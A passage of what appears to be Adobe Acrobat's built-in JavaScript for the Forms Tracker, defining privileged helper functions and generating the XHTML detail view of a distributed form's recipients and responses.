			var msgboxtitle = app.viewerType == "Reader"? AnnotsString.IDS_PRODUCT_NAME_READER : AnnotsString.IDS_PRODUCT_NAME_ACROBAT;

			var result = app.alert({cTitle:msgboxtitle, cMsg: msg, nIcon: 2, nType: 2});

			app.endPriv();



		    if(result == 4)

		    {

			    app.beginPriv();

			    FormWorkflow.removeFormWorkflowFolder(url, folder);

				LogAVUMEvent(EVENT_LOGGING_CATEGORY_TRACKER, EVENT_LOGGING_SUBCATEGORY_FORMS, "RemoveFolder");

			    app.endPriv();

		    }

	    });



	    var FormsTrackerRemoveFolderWhileMultipleSelect = app.trustedFunction(function(url, folder)

	    {

		    app.beginPriv();

		    FormWorkflow.removeFormWorkflowFolder(url, folder);

		    app.endPriv();

	    });



		var RemoveMultipleSelectedForms = app.trustedFunction(function(bIsInitiated)

		{

			try

			{

				if(bIsInitiated)

					msg = getString("IDS_SHAREDWF_ASK_DEL_MULTIPLE_DISTRIBUTED");

				else

					msg = getString("IDS_SHAREDWF_ASK_DEL_MULTIPLE_RECEIVED");



				app.beginPriv();

				var msgboxtitle = app.viewerType == "Reader"? AnnotsString.IDS_PRODUCT_NAME_READER : AnnotsString.IDS_PRODUCT_NAME_ACROBAT;

				var result = app.alert({cTitle:msgboxtitle, cMsg: msg, nIcon: 2, nType: 2});

				app.endPriv();



				if(result == 4)

				{

					app.beginPriv();

					FormWorkflow.removeMultipleSelectedFormWorkflowsInTracker();

					LogAVUMEvent(EVENT_LOGGING_CATEGORY_TRACKER, EVENT_LOGGING_SUBCATEGORY_FORMS, "RemoveMultiple");

					app.endPriv();

					

					return true;

				}



				return false;

			}

			catch(e)

			{

				console.println("EXCEPTION: " + e);

				console.println(e.stack);

				myFormsTrackerDebugAlert("EXCEPTION: " + e);

				myFormsTrackerDebugAlert(e.stack);

			}

		});



		var SetFormFolderForMultipleForms = app.trustedFunction(function(feedURL, formIDs, folderName)

		{

			try

			{

				app.beginPriv();

				FormWorkflow.setFormFolderForMultipleForms(feedURL, formIDs, folderName);

				app.endPriv();

			}

			catch(e)

			{

				console.println("EXCEPTION: " + e);

				console.println(e.stack);

				myFormsTrackerDebugAlert("EXCEPTION: " + e);

				myFormsTrackerDebugAlert(e.stack);

			}

		});



	    var FormsTrackerRemoveFormWhileMultipleSelect = app.trustedFunction(function(item)

	    {

		    var docID = item.Extension[fwDocID];

		    if(typeof docID != "undefined")

		    {

			    app.beginPriv();

			    FormWorkflow.unregisterFormsWorkflow(docID);

			    app.endPriv();

			    return true;

		    }

		    else return false;

	    });



	    var TrackerExpandSelection = app.trustedFunction(function()

	    {

		    app.beginPriv();

		    Collab.expandTrackerSelection();

		    app.endPriv();

	    });



	    var TrackerCanExpandSelection = app.trustedFunction(function(url)

	    {

		    app.beginPriv();

		    var canExpand = Collab.canExpandTrackerSelection;

		    app.endPriv();

    		

		    return canExpand;

	    });



	    var TrackerCollapseSelection = app.trustedFunction(function()

	    {

		    app.beginPriv();

		    Collab.collapseTrackerSelection();

		    app.endPriv();

	    });



	    var TrackerCanCollapseSelection = app.trustedFunction(function(url)

	    {

		    app.beginPriv();

		    var canCollapse = Collab.canCollapseTrackerSelection;

		    app.endPriv();

    		

		    return canCollapse;

	    });

	    ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



	    ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

	    // Forms Tracker UI

	    ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

	    var oFormsTrackerUI = 

	    {

		    createContext: app.trustedFunction(function()

		    {

			    var result =

			    {

				    //General strings

				    cIveSent: getString("IDS_FORMS_TRACKER_MY_FORMS"),

				    cNoIveSentForms: AnnotsString.IDS_TRACKER_NO_SENT_REVIEWS,

				    cIveReceived: getString("IDS_FORMS_TRACKER_PARTICIPANT_FORMS"),

				    cNoIveReceivedForms: AnnotsString.IDS_TRACKER_NO_SENT_REVIEWS,

				    cFormsSuperGroup: getString("IDS_FORMS_TRACKER_FORMS_SUPER_GROUP_TITLE"),

				    nbsp_placeholder: "NBSP_PLACEHOLDER",

				    cViewResponsesLabel: getString("IDS_FORMS_TRACKER_VIEW_RESPONSES_LABEL"),

				    cViewResponsesLink: getString("IDS_FORMS_TRACKER_VIEW_RESPONSES_LINK"),

				    cDistributionMessage: getString("IDS_FORMS_TRACKER_DISTRIBUTION_MESSAGE"),

				    cViewFormButtonLabel: getString("IDS_FORMS_TRACKER_VIEW_FORM"),

				    cNotApplicable: AnnotsString.IDS_TRACKER_NOT_APPLICABLE,

				    cClick: AnnotsString.IDS_TRACKER_CLICK,

				    cHere: AnnotsString.IDS_TRACKER_HERE,

				    cToResumeActive: AnnotsString.IDS_TRACKER_TO_RESUME_ACTIVE,

					cHowDoIFixThis: AnnotsString.IDS_TRACKER_HOW_DO_I_FIX_THIS,



				    cNone: AnnotsString.IDS_TRACKER_CHANGES_NONE,

				    cToChangeFileLocation: getString("IDS_FORMS_TRACKER_TO_CHANGE_FILE_LOCATION"),

				    cChangesSinceLastViewed: getString("IDS_FORMS_TRACKER_DEF_LIST_CHANGES_SINCE_LAST_REVIEWED_RESPONSES"),

				    cResponsesLabel: getString("IDS_FORMS_TRACKER_RESPONSES"),

				    cSubmissionHistoryLabel: getString("IDS_FORMS_TRACKER_SUBMISSION_HISTORY"),

				    cSentUsing: AnnotsString.IDS_SHARED_REVIEW_SENT_USING_SERVER,

				    cEmailAttachment: getString("IDS_FORMS_TRACKER_EMAIL_ATTACHMENT"),

				    cRespondedNo: getString("IDS_FORMS_TRACKER_RESPONDED_NO"),

				    cRespondedYes: getString("IDS_FORMS_TRACKER_RESPONDED_YES"),

				    cRespondedNA : getString("IDS_FORMS_TRACKER_RESPONDED_NA"),

				    cNoSubmissionHistory: getString("IDS_FORMS_TRACKER_NO_SUBMISSION_HISTORY"),

				    cAnonymousUser : getString("IDS_SHAREDWF_ANONYMOUS_USER"),



				    cEditFileLocation: "(" + getString("IDS_FORMS_TRACKER_EDIT_FILE_LOCATION") + ")",



				    cNewFormsReceivedSinceLastViewed: getString("IDS_FORMS_TRACKER_NUM_NEW_FORMS_RECVD"),



				    cNoDistributedForms: getString("IDS_TRACKER_NO_DISTRIBUTED_FORMS"),

				    cNoReceivedForms: getString("IDS_TRACKER_NO_RECEIVED_FORMS"),

					cNoFormsInFolder: getString("IDS_TRACKER_NO_FORMS_IN_FOLDER"),



				    oWorkflowState:

				    {

					    "Active": AnnotsString.IDS_WORKFLOW_STATE_INPROGRESS,

					    "Ended": getString("IDS_SHAREDWF_WORKFLOW_HAS_ENDED"),

					    "Suspended": AnnotsString.IDS_WORKFLOW_STATE_SUSPENDED,

					    "Corrupted": AnnotsString.IDS_WORKFLOW_STATE_CORRUPTED,

				    },



				    //Table Column Header strings

				    cTableHeaderFileName: AnnotsString.IDS_TRACKER_UBER_TABLE_HEADER_FILENAME,

				    cTableHeaderRespondentsAndNew: getString("IDS_FORMS_TRACKER_TABLE_HEADER_RESPONDENTS"),

				    cTableHeaderTotalRecipients: getString("IDS_FORMS_TRACKER_TABLE_HEADER_TOTAL_RECIPIENTS"),

				    cTableHeaderDistributedOn: getString("IDS_FORMS_TRACKER_TABLE_HEADER_DISTRIBUTED_ON"),

				    cTableHeaderLastSubmittedOn: getString("IDS_FORMS_TRACKER_TABLE_HEADER_LAST_DATE_TIME_SUBMITTED"),

				    cTableHeaderNumberOfResponsesReceived: getString("IDS_FORMS_TRACKER_TABLE_HEADER_NUM_RESPONSES_RECEIVED"),

				    cTableHeaderEmail: AnnotsString.IDS_TABLE_HEADER_EMAIL,

				    cTableHeaderNew: getString("IDS_FORMS_TRACKER_TABLE_HEADER_NEW"),

				    cTableHeaderResponded: getString("IDS_FORMS_TRACKER_TABLE_HEADER_RESPONDED"),

				    cTableHeaderStatus: AnnotsString.IDS_TABLE_HEADER_STATUS,



				    cTableHeaderRecipientName: getString("IDS_FORMS_TRACKER_TABLE_HEADER_RECIPIENT_NAME"),

				    cTableHeaderLastResponseDateTime: getString("IDS_FORMS_TRACKER_TABLE_HEADER_LAST_RESPONSE_DATE_TIME"),

				    cTableHeaderUnread: getString("IDS_FORMS_TRACKER_TABLE_HEADER_UNREAD"),

				    cTableHeaderNumberOfResponses: getString("IDS_FORMS_TRACKER_TABLE_HEADER_NUM_RESPONSES"),

				    cTableHeaderSubmittedDateTime: getString("IDS_FORMS_TRACKER_TABLE_HEADER_SUBMITTED_DATE_TIME"),

    				

				    cTableHeaderTitle: AnnotsString.IDS_TABLE_HEADER_TITLE,

				    cTableHeaderReviewerType: AnnotsString.IDS_TABLE_HEADER_REVIEWER_TYPE,



				    //Def List strings

				    cDefListFormLocationProp: getString("IDS_FORMS_TRACKER_DEF_LIST_FORM_LOCATION"),

				    cDefListResponsesLocationProp: getString("IDS_FORMS_TRACKER_DEF_LIST_RESPONSES_LOCATION"),

				    cDefListStatusProp: AnnotsString.IDS_DEFINITION_LIST_STATUS,

				    cDefListErrorProp: AnnotsString.IDS_DEFINITION_LIST_ERROR,

				    cDefListFormHostProp: getString("IDS_FORMS_TRACKER_DEF_LIST_FORM_HOST"),

				    cDefListAccessLevelProp: AnnotsString.IDS_DEFINITION_LIST_ACCESS_LEVEL,

				    cDefListDistributedOnProp: getString("IDS_FORMS_TRACKER_DEF_LIST_DISTRIBUTED_ON"),

				    cDefListReceivedOnProp: AnnotsString.IDS_DEFINITION_LIST_RECEIVED_ON,

				    cDefListLastOpenedOnProp: getString("IDS_FORMS_TRACKER_DEF_LIST_LAST_OPENED"),

				    cDefListDeadlineProp: AnnotsString.IDS_DEFINITION_LIST_DEADLINE,

				    cDefListTotalNumberOfResponsesProp: getString("IDS_FORMS_TRACKER_DEF_LIST_TOTAL_NUM_OF_RESPONSES"),

				    cDefListTotalRecipientsProp: getString("IDS_FORMS_TRACKER_DEF_LIST_TOTAL_NUM_OF_RECIPIENTS"),

				    cDefListRecipientsRespondedProp: getString("IDS_FORMS_TRACKER_DEF_RECIPIENTS_RESPONDED"),

				    cDefListRecipientsNotRespondedProp: getString("IDS_FORMS_TRACKER_DEF_RECIPIENTS_NOT_RESPONDED"),

    				

				    //Action strings

				    cEndDataCollection: getString("IDS_FORMS_TRACKER_END_DATA_COLLECTION"),

				    cOpenOriginalForm: getString("IDS_FORMS_TRACKER_OPEN_ORIGINAL_FORM"),

				    cRemoveResponsesFromTracker: getString("IDS_FORMS_TRACKER_REMOVE_RESPONSES"),

				    cRemoveFormFromTracker: getString("IDS_FORMS_TRACKER_REMOVE_FORM_FROM_TRACKER"),

				    cAddRecipients: getString("IDS_FORMS_TRACKER_INVITE"),

				    cEmailInitiator: AnnotsString.IDS_TRACKER_ACTION_EMAIL_INITIATOR,

				    cEmailAllRecipients: getString("IDS_FORMS_TRACKER_EMAIL_ALL"),

				    cEmailNonRespondents: getString("IDS_FORMS_TRACKER_EMAIL_NON_RESPONDENTS"),



				    init: function(dialog)

				    {

				    },

    				

					currentFormWorkflow:

					{

						cFormWorkflowID: null,

						oFormWorkflowInfo: null,

					},

					

					currentFormWorkflowsInFeed:

					{

						aFormWorkflowInfo: null,

					},



				    showMyFormsItemView: function(dialog, feed)

				    {

					    try

					    {

						    var L = function(s) { return getString(s); }

						    var LINK = function(scheme, s) 

							    { return scheme + ":" + s; }



						    var selection = dialog.getSelection();

						    var extension = selection.Extension;



						    //get the options for this view

						    app.beginPriv();

						    var options = dialog.getOptions();

						    app.endPriv();

    						

						    var bShownFromFIW = 0;

    						

						    if(options != undefined)

						    {

							    var optArr = options.split(',');

							    for(var index = 0; index < optArr.length; index++)

							    {

								    var singleOpt = optArr[index];

								    var singleOptArr = singleOpt.split(':');

    								

								    switch(singleOptArr[0])

								    {

									    case 'landedFromFIW':

										    bShownFromFIW = singleOptArr[1];

										    break;

								    }

							    }

						    }

    						

						    var cFormWorkflowID = extension[fwDocID];



						    if(this.currentFormWorkflow.cFormWorkflowID != cFormWorkflowID)

						    {

							    this.currentFormWorkflow.cFormWorkflowID = cFormWorkflowID;



							    app.beginPriv();

							    this.currentFormWorkflow.oFormWorkflowInfo = FormWorkflow.getFormWorkflowInfo(cFormWorkflowID);

							    app.endPriv();

						    }



						    var formsWorkflowInfo = this.currentFormWorkflow.oFormWorkflowInfo;



						    var cFormWorkflowMethod = extension[fwMethod];

						    var bIsSharedForm = (cFormWorkflowMethod == "SharedForm");

						    var cVisibleSharedForm = bIsSharedForm ? "" : "display: none;"; 



						    var aRecipients = [];

    						

						    var oRecipients = formsWorkflowInfo.oRecipients;

    						

						    var nResponded = 0;

						    var nTotalResponses = 0;



						    for(var i in oRecipients)

						    {

							    //get the info of recipients that is to be shown in the recipients table



							    aRecipients[aRecipients.length] = 

							    {

								    cRecipientName: oRecipients[i].cName,

								    cRecipientEmail: oRecipients[i].cEmail,

								    cRecipientResponseFileLink: "acrobat:Forms?action=selectData&workflow=" + cFormWorkflowID + "&recipient=" + encodeURIComponent(oRecipients[i].cEmail),

								    cRecipientLastResponseDateTime: oRecipients[i].cLastResponseDateTime,

								    nRecipientLastResponseDateTime: oRecipients[i].nLastResponseDateTime,

								    cRecipientUnreadResponses: bIsSharedForm ? ("" + oRecipients[i].nNewResponses) : "",

								    cRecipientTotalResponses: "" + oRecipients[i].nResponses,

							    };

							    //myFormsTrackerDebugAlert(cName + "\n" + cEmail + "\n" + cRecvdForm);

    							

							    nTotalResponses += oRecipients[i].nResponses;



							    if(oRecipients[i].nResponses > 0)

								    nResponded++;

						    }



						    var cFormWorkflowResponsesName = selection.Title;



						    var cViewResponsesLink = LINK("acrobat", "Forms?action=openResponses&workflow=" + cFormWorkflowID);

						    var cFormWorkflowOpenLink = LINK("acrobat", "Forms?action=openForm&workflow=" + cFormWorkflowID);



						    var cFormWorkflowFilePath = formsWorkflowInfo.cFormLocation;

						    var cResponsesFilePath = formsWorkflowInfo.cResponsesLocation;

						    var cChangeResponsesLocationPath = LINK("acrobat", "Forms?action=changeResponsesLocation&workflow=" + cFormWorkflowID);



						    var cFormWorkflowHost = formsWorkflowInfo.cFormHost;



						    var cDistributedOn = formsWorkflowInfo.cDistributedOn;



							var cSentRecvdUsingServer = this.cSentUsing;

							cSentRecvdUsingServer = cSentRecvdUsingServer.replace("%dateTimeSentRecvd%", cDistributedOn); 

							if(bIsSharedForm)

								cSentRecvdUsingServer = cSentRecvdUsingServer.replace("%serverName%", cFormWorkflowHost);

							else

								cSentRecvdUsingServer = cSentRecvdUsingServer.replace("%serverName%", this.cEmailAttachment);



						    var cFormWorkflowState = formsWorkflowInfo.cState;



						    var bIsFormSuspended = false;

						    if(bIsSharedForm)

							    bIsFormSuspended = (cFormWorkflowState == FORM_STATE_SUSPENDED);//only a shared form can move to suspended state



						    var bIsFormCorrupted = false;

						    if(bIsSharedForm)

							    bIsFormCorrupted = (cFormWorkflowState == FORM_STATE_CORRUPTED);//only a shared form can be in corrupted state



						    var cClickHerePostString = "";

						    var cClickHereLink = "";

							var cHowDoIFixThisLink = "";

							var cVisibleClickHerePart = "display: none;";//dont display by default

							var cVisibleHowDoIFixThis = "display: none;";//dont display by default

						    if(bIsFormSuspended)

						    {

							    cClickHereLink = "acrobat:Forms?action=restart&workflow=" + cFormWorkflowID;

							    cClickHerePostString = this.cToResumeActive;

							    cVisibleClickHerePart = "";

						    }

						    else if(bIsFormCorrupted)

					    	{

								cHowDoIFixThisLink = "acrobat:Review?showHelpForCorruptedWorkflow";

								cVisibleHowDoIFixThis = "";

					    	}



						    var cFormWorkflowsFileState = formsWorkflowInfo.cStateAsPerWorkflowsFile;

						    

						    //display status only for Shared Form

						    var cVisibleStatus = bIsSharedForm ? "" : "display: none;";



						    var cFormWorkflowError = "";

						    if(bIsSharedForm)

							    cFormWorkflowError = formsWorkflowInfo.cError;

						    //display error only for Shared Form having error

						    var cVisibleError = (!bIsSharedForm || cFormWorkflowError == "") ? "display: none;" : "";



						    if(cFormWorkflowError == "")

							    cFormWorkflowError = this.nbsp_placeholder;//else the span tag is reduced to null leading to everything getting red



						    var nTotalRecipients = formsWorkflowInfo.nRecipients;

						    var cTotalRecipients = "" + nTotalRecipients;

						    var cTotalResponses = "" + formsWorkflowInfo.nResponses;

						    var cNewResponses = "";

						    var cNewFormsReceivedSinceLastViewed = ""; 

						    var cVisibleNewFormsReceivedSinceLastViewed = "display: none;";//dont display by default

						    var cVisibleNoneSinceLastViewed = "";//display by default

						    if(bIsSharedForm)

						    {

							    cNewResponses = "" + formsWorkflowInfo.nNewResponses;

							    if(formsWorkflowInfo.nNewResponses > 0)

							    {

								    cVisibleNoneSinceLastViewed = "display: none;";//dont display this if there is some update to show

								    cVisibleNewFormsReceivedSinceLastViewed = "";

								    cNewFormsReceivedSinceLastViewed = this.cNewFormsReceivedSinceLastViewed;

								    cNewFormsReceivedSinceLastViewed = cNewFormsReceivedSinceLastViewed.replace("%num%", formsWorkflowInfo.nNewResponses);

							    }

						    }



						    var nNewResponses = bIsSharedForm ? formsWorkflowInfo.nNewResponses : 0;

						    var nNotResponded = nTotalRecipients - nResponded;



						    var cRecipientsResponded;

							if(formsWorkflowInfo.bAllowAnonymous)

								cRecipientsResponded = "" + nTotalResponses;

							else

								cRecipientsResponded = "" + nResponded;

						    if(bIsSharedForm)

							    cRecipientsResponded += " (" + nNewResponses + ")";

						    var cRecipientsNotResponded = "" + nNotResponded;



						    //Access Level strings

						    var oAccessLevel =

						    {

							    "NonRestricted": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_OPEN_ACCESS_FD,

							    "Restricted": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_LIMIT_ACCESS_FD,

						    };



						    var cAccessLevel = "";

						    var cVisibleAccessLevel = "display: none;";

						    if(bIsSharedForm)

						    {

							    cAccessLevel = formsWorkflowInfo.cAccessLevel;

    							

							    if(cAccessLevel == "NonRestricted" || cAccessLevel == "Restricted")

							    {

								    cAccessLevel = oAccessLevel[cAccessLevel];

								    cVisibleAccessLevel = "";

							    }

						    }



						    //since initiator ends the workflow, "Data Collection has ended" is never shown for initiator

						    var cVisibleDataCollectionEndedSinceLastViewed = "display: none;";

						    var cDataCollectionEndedSinceLastViewed = "";

						    //



						    var nNumNewFormsReceived = 0;

						    if(bIsSharedForm)

							    nNumNewFormsReceived = formsWorkflowInfo.nNewResponses;

						    var bDataCollectionEnded = (cFormWorkflowsFileState == FORM_STATE_ENDED || cFormWorkflowState == FORM_STATE_ENDED) ? true : false;



						    var cEmailAllRecipientsLink = LINK("acrobat", "Forms?action=emailAll&workflow=" + cFormWorkflowID);

						    var cEmailNonRespondentsLink = LINK("acrobat", "Forms?action=emailNonRespondents&workflow=" + cFormWorkflowID);

						    var cAddRecipientsLink = LINK("acrobat", "Forms?action=invite&workflow=" + cFormWorkflowID);

						    var cRemoveResponsesFromTrackerLink = LINK("acrobat", "Forms?action=delete&workflow=" + cFormWorkflowID);

						    var cEndDataCollectionLink = LINK("acrobat", "Forms?action=end&workflow=" + cFormWorkflowID);



						    var cVisibleEndDataCollectionLink = "display:none";//dont display by default

						    if(bIsSharedForm)

						    {

							    if(!bDataCollectionEnded)

								    cVisibleEndDataCollectionLink = "";

						    }

						    

							var cPDFIconForForm = (bIsSharedForm && bDataCollectionEnded) ? "ended-iconic" : "pdf-iconic";

						    

						    var cDistributionMethod = formsWorkflowInfo.cDistributionMethod;



							//show "Add Recipients" if I am the distributor and the data collection has not ended and the form was not distributed using Manual Distribution

							var cVisibleAddRecipients = "display: none;";//dont display by default

							if((cDistributionMethod != "Manual") && (!bIsSharedForm || !bDataCollectionEnded))

								cVisibleAddRecipients = "";

							

							var cVisibleEmailRecipientsNotResponded = "";//display by default

							if(formsWorkflowInfo.bAllowAnonymous)

								cVisibleEmailRecipientsNotResponded = "display: none;";

								

							var cVisibleRecipientsNotResponded = "";//display by default

							if(formsWorkflowInfo.bAllowAnonymous)

								cVisibleRecipientsNotResponded = "display: none;";



						    XML.setSettings({ignoreComments: false});



						    var group = extension[fwFolder];



						    var cTopArrowXHTML = null;

						    var cSentRecvd = (feed.URL == cFormsIveSentURL) ? this.cIveSent : this.cIveReceived;

						    var cSentRecvdLink = (feed.URL == cFormsIveSentURL) ? cFormsIveSentFeedLink : cFormsIveReceivedFeedLink;



						    var cFormName = selection.Title;



						    //if group is not selected, then "Forms > I've Sent > filename"

						    if(group == undefined)

						    {

							    cTopArrowXHTML =

								    <div class="bread_crumb">

									    <a class="blueLink" href={cFormsSuperGroupLink}>{this.cFormsSuperGroup}</a> > <a class="blueLink" href={cSentRecvdLink}>{cSentRecvd}</a> > {cFormName}

								    </div>

						    }

						    //there is a group(folder) as well

						    else

						    {

								var cGroupLink = "acrobat:Inbox?gotoLevel=1";

							    cTopArrowXHTML =

								    <div class="bread_crumb">

									    <a class="blueLink" href={cFormsSuperGroupLink}>{this.cFormsSuperGroup}</a> > <a class="blueLink" href={cSentRecvdLink}>{cSentRecvd}</a> > <a class="blueLink" href={cGroupLink} style="unicode-bidi: embed;">{group}</a> > {cFormName}

								    </div>

						    }

    						

						    var viewXHTML = 

							    <html xmlns="http://www.w3.org/1999/xhtml">

								    <head>

									    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>

									    <link href="AdobeTracker/main.css" rel="stylesheet" type="text/css"/>

								    </head>



								    <body id="body">

									    <div id="pg_distributed_details" style="margin-left: 35px;">



									    	<br />



										    <div style="margin-left: -6px;">

												<table class="definitionListTableLarge">

													<tr>

														<th><span class="dontWrap">{this.cDefListResponsesLocationProp}</span></th>

														<td>{cResponsesFilePath} {this.nbsp_placeholder}<a href={cChangeResponsesLocationPath}><span class="blueLink">{this.cEditFileLocation}</span></a></td>

													</tr>

													<tr style={cVisibleStatus}>

														<th><span class="dontWrap">{this.cDefListStatusProp}</span></th>

														<td><span class="dontWrap">{this.oWorkflowState[cFormWorkflowState]} <span style={cVisibleHowDoIFixThis}><a style="color:blue;" href={cHowDoIFixThisLink}>({this.cHowDoIFixThis})</a></span> <span style={cVisibleClickHerePart}>({this.cClick} <a style="color:blue;" href={cClickHereLink}>{this.cHere}</a> {cClickHerePostString})</span></span></td>

													</tr>

													<tr style={cVisibleError}>

														<th>{this.nbsp_placeholder}</th>

														<td><img style="vertical-align:middle; margin-right: 6px;" src="AdobeTracker/warning.gif" /><span style="color:red;">{cFormWorkflowError}</span></td>

													</tr>

													<tr>

														<th><span class="dontWrap">{this.cDefListDistributedOnProp}</span></th>

														<td><span class="dontWrap">{cSentRecvdUsingServer}</span></td>

													</tr>

													<tr style={cVisibleAccessLevel}>

														<th><span class="dontWrap">{this.cDefListAccessLevelProp}</span></th>

														<td><span class="dontWrap">{cAccessLevel}</span></td>

													</tr>

												</table>

										    </div>



										    <div class="buttons">

											    <a style={cVisibleEndDataCollectionLink} href={cEndDataCollectionLink} class="stop-data-collection-iconic"><span class="blueLink">{this.cEndDataCollection}</span></a>

											    <a href={cFormWorkflowOpenLink} class="open-original-form-iconic"><span class="blueLink">{this.cOpenOriginalForm}</span></a>

										    </div>

    									

										    <br />

    										

										    <div class="dottedLine">{this.nbsp_placeholder}</div>



										    <br />

    										

										    <div class="buttons">

											    <span class="responses-iconic" style="font-weight:bold; font-size:12;">{this.cResponsesLabel}</span>

										    </div>

    	

										    <div style="margin-left: -6px;">

												<table class="definitionListTableLarge">

													<tr>

														<th><span class="dontWrap">{this.cDefListRecipientsRespondedProp}</span></th>

														<td><span class="dontWrap">{cRecipientsResponded}</span></td>

													</tr>

													<tr style={cVisibleRecipientsNotResponded}>

														<th><span class="dontWrap">{this.cDefListRecipientsNotRespondedProp}</span></th>

														<td><span class="dontWrap">{cRecipientsNotResponded}</span></td>

													</tr>

													<tr>

														<th><span class="dontWrap">{this.cDefListTotalRecipientsProp}</span></th>

														<td><span class="dontWrap">{cTotalRecipients}</span></td>

													</tr>

												</table>

										    </div>



										    <div class="buttons">

											    <a href={cEmailAllRecipientsLink} class="email-all-iconic"><span class="blueLink">{this.cEmailAllRecipients}</span></a>

											    <a style={cVisibleAddRecipients} href={cAddRecipientsLink} class="add-reviewer-iconic"><span class="blueLink">{this.cAddRecipients}</span></a>

											    <a style={cVisibleEmailRecipientsNotResponded} href={cEmailNonRespondentsLink} class="email-recipients-not-respond-iconic"><span class="blueLink">{this.cEmailNonRespondents}</span></a>

										    </div>

											

										    <br />

									    </div>



										<div class="borderedDivDetailPage">

										    <table id="recipientList" class="borderedTable" cellpadding="15" cellspacing="0">

											    <tr bgcolor={cTableHeaderColor}>

												    <th>{this.cTableHeaderEmail}</th>

												    <th>{this.cTableHeaderRecipientName}</th>

												    <th><center>{this.cTableHeaderResponded}</center></th>

												    <th><center>{this.cTableHeaderLastResponseDateTime}</center></th>

											    </tr>

										    </table>

									    </div>

    							

								    </body>

							    </html>

    							

						    var viewResponsesXHTML;

    						

						    if(bShownFromFIW)

						    {

							    viewResponsesXHTML =

								    <div class="roundcont">

									    <div class="roundtop">

										    <img src="AdobeTracker/tl.gif" alt="" width="15" height="15" class="corner" style="display: none" />

									    </div>



									    <div style="margin-left: 15px;">

										    <a class={cPDFIconForForm} title={cResponsesFilePath} href={cViewResponsesLink}><span class="blueLink" style="font-weight: bold; font-size: 12;">{this.cViewResponsesLabel}</span></a>

										    <br />

										    <br />

										    <span style="margin-left: 30px; font-weight:bold; color: black;">{this.cDistributionMessage}</span>

									    </div>



									    <div class="roundbottom">

										    <img src="AdobeTracker/bl.gif" alt="" width="15" height="5" class="corner" style="display: none" />

									    </div>

								    </div>

						    }

						    else

						    {

							    viewResponsesXHTML =

								    <div class="buttons">

									    <a class={cPDFIconForForm} title={cResponsesFilePath} href={cViewResponsesLink}><span style="color: blue; text-decoration: underline; font-weight: bold; font-size: 12;">{this.cViewResponsesLabel}</span></a>

								    </div>

						    }

    						

						    //get the reference to DIV with ID "pg_distributed_details"

						    var topContent = null;



						    var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

						    for each(var i in viewXHTML..xhtml::div)

						    {

							    if(i.@id == "pg_distributed_details")

							    {

								    topContent = i;

								    break;

							    }

						    }

						    //

    						

						    topContent.prependChild(viewResponsesXHTML);

						    

						    var brXHTML = <br />;

						    

						    topContent.prependChild(brXHTML);



						    //get the reference to BODY with ID "body"

						    var body = null;

    						

						    var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

						    for each(var i in viewXHTML..xhtml::body)

						    {

							    if(i.@id == "body")

							    {

								    body = i;

								    break;

							    }

						    }

						    //

    						

						    body.prependChild(cTopArrowXHTML);//prepend the Top Arrow XHTML as a child of body



						    //get the reference to TABLE with ID "recipientList"

						    var tableXHTML = null;

    						

						    var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

						    for each(var i in viewXHTML..xhtml::table)

						    {

							    if(i.@id == "recipientList")

							    {

								    tableXHTML = i;

								    break;

							    }

						    }

						    //



						    //Sorting functionality for Recipients table in Detailed View of a Form

						    var isRecipientLesser = function(recipient1, recipient2)

						    {

							    if(recipient1.nRecipientLastResponseDateTime < recipient2.nRecipientLastResponseDateTime)

							    {

								    return 1;

							    }

							    else if(recipient1.nRecipientLastResponseDateTime == recipient2.nRecipientLastResponseDateTime)

							    {

								    //compare the email IDs - case-insensitive

								    var emailID1 = recipient1.cRecipientEmail.toLowerCase();

								    var emailID2 = recipient2.cRecipientEmail.toLowerCase();

    								

								    return (emailID1 > emailID2);

							    }

							    else

							    {

								    return 0;

							    }

						    };

						    //

    						

						    //sort recipients based on Last Response Date/Time and then on Email(alphabetical, case-insensitive)

						    for(var current = 1; current < aRecipients.length; current++)

						    {

							    //save the current value

							    var curVal = aRecipients[current];

							    //



							    var trav = current - 1;

							    for(; trav >= 0; trav--)

							    {

								    //check if aRecipients[trav] < curVal

								    if(isRecipientLesser(aRecipients[trav], curVal))

									    aRecipients[trav + 1] = aRecipients[trav];

								    else//if(aRecipients[trav] >= curVal)

									    break;

							    }

    		

							    if((trav + 1) != current)

								    aRecipients[trav + 1] = curVal;

						    }

						    //



						    var evenOddRow = false;



						    //for all the recipients in this workflow, create a row <tr> and insert into tableXHTML

						    for(var recipientIndex = 0; recipientIndex < aRecipients.length; recipientIndex++)

						    {

							    var curRecipient = aRecipients[recipientIndex];



							    //create color string

							    evenOddRow = !evenOddRow;

							    var cRowColor = evenOddRow ? cTableOddRowColor : cTableEvenRowColor;

    							

							    var cResponded = this.cRespondedNo;

							    var cRedOrBlack = "red";

							    if (formsWorkflowInfo.bAllowAnonymous && curRecipient.cRecipientName != this.cAnonymousUser)

							    {

							        // watson 1770293 

							        cRedOrBlack = "";

							        cResponded = this.cRespondedNA;

							    }

							    else if(curRecipient.cRecipientTotalResponses > 0)

							    {

								    cRedOrBlack = "";

								    cResponded = this.cRespondedYes + " (" + curRecipient.cRecipientTotalResponses + ")"; 

							    }



							    var recipientXHTML =

								    <tr bgcolor={cRowColor}>

									    <td style="padding-left: 10px;">{curRecipient.cRecipientEmail}</td>

									    <td><a href={curRecipient.cRecipientResponseFileLink}><span class="blueLink">{curRecipient.cRecipientName}</span></a></td>

									    <td><center><span class={cRedOrBlack}>{cResponded}</span></center></td>

									    <td><center>{curRecipient.cRecipientLastResponseDateTime}</center></td>

								    </tr>

							    tableXHTML.appendChild(recipientXHTML);

						    }



							var stm = util.streamFromString(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"), "utf-8");

							var replacedString = viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;");

							app.beginPriv();

							Collab.saveTrackerHTML(replacedString);

							app.endPriv();

						    dialog.load({"html": stm});

					    }

					    catch(e)

					    {

						    console.println("EXCEPTION: " + e);

						    console.println(e.stack);

						    myFormsTrackerDebugAlert("EXCEPTION: " + e);

						    myFormsTrackerDebugAlert(e.stack);

					    }

				    },





